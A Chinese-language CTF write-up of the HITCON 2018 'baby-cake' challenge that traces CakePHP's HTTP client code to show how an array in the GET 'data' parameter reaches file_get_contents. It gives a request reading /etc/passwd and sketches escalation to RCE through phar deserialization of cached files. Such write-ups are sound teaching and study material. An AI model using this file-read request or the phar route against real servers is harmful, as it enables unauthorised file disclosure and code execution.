PHP 物件初始化時會呼叫它的 __construct
函式。故我們可以先從此處開始看:
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
...
$this->body($data);
}
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();
return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;
return $this;
}
所以,假設我們能想辦法傳陣列給 $body
,就會用 Cake/Http/Formdata
的 addMany
來處理它。addMany
背後其實是用 for 迴圈去呼叫 add
。
如果 $body
的元素不是陣列,則呼叫 addFile()
。我們檢查這個函式:
public function addFile($name, $value)
{
$this->_hasFile = true;
$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);
return $part;
}
如果我們能夠走到 else
的執行路徑,則我們可以用 GET 的 data
來控制 file_get_contents
的內容。看起來應該可以用 讀檔 來打這題?
因為參數中間會用 is_resource
來檢查是不是真的網址,不過 http://
也會過,所以我們可以試著傳這個過去:
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd
由於 PHP 可以從 GET query 傳陣列的「特性」,故我們可以成功傳陣列進去。此時可以讀檔了,但這題目中的 flag 是個執行檔,故這招無效。所以我們必須 RCE ...
在第一篇中有提到,伺服器會把看過的網頁給存成快取,放在檔案系統裡面。從讀檔的時候,我們可以得知我們的路徑是從 /var/www
開始,故目標大概會是:
/var/www/html/tmp/cache/mycache/CLIENT_IP/${md5(url)}/body.cache
因爲 PHP 反序列化時,會把物件給初始化,呼叫 __construct
,故我們可以找一些有趣的 class 來用。其中一個就是 phar。 (其實此題作者出過 Phar RCE 的題目 GitHub - orangetw/My-CTF-Web-Challenges: Collection of CTF Web challenges I made)
基本上這題在 RCE 後就結束了。我們下期會來研究爲何 Phar 等 magic method 可以用來 RCE。
https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake
https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017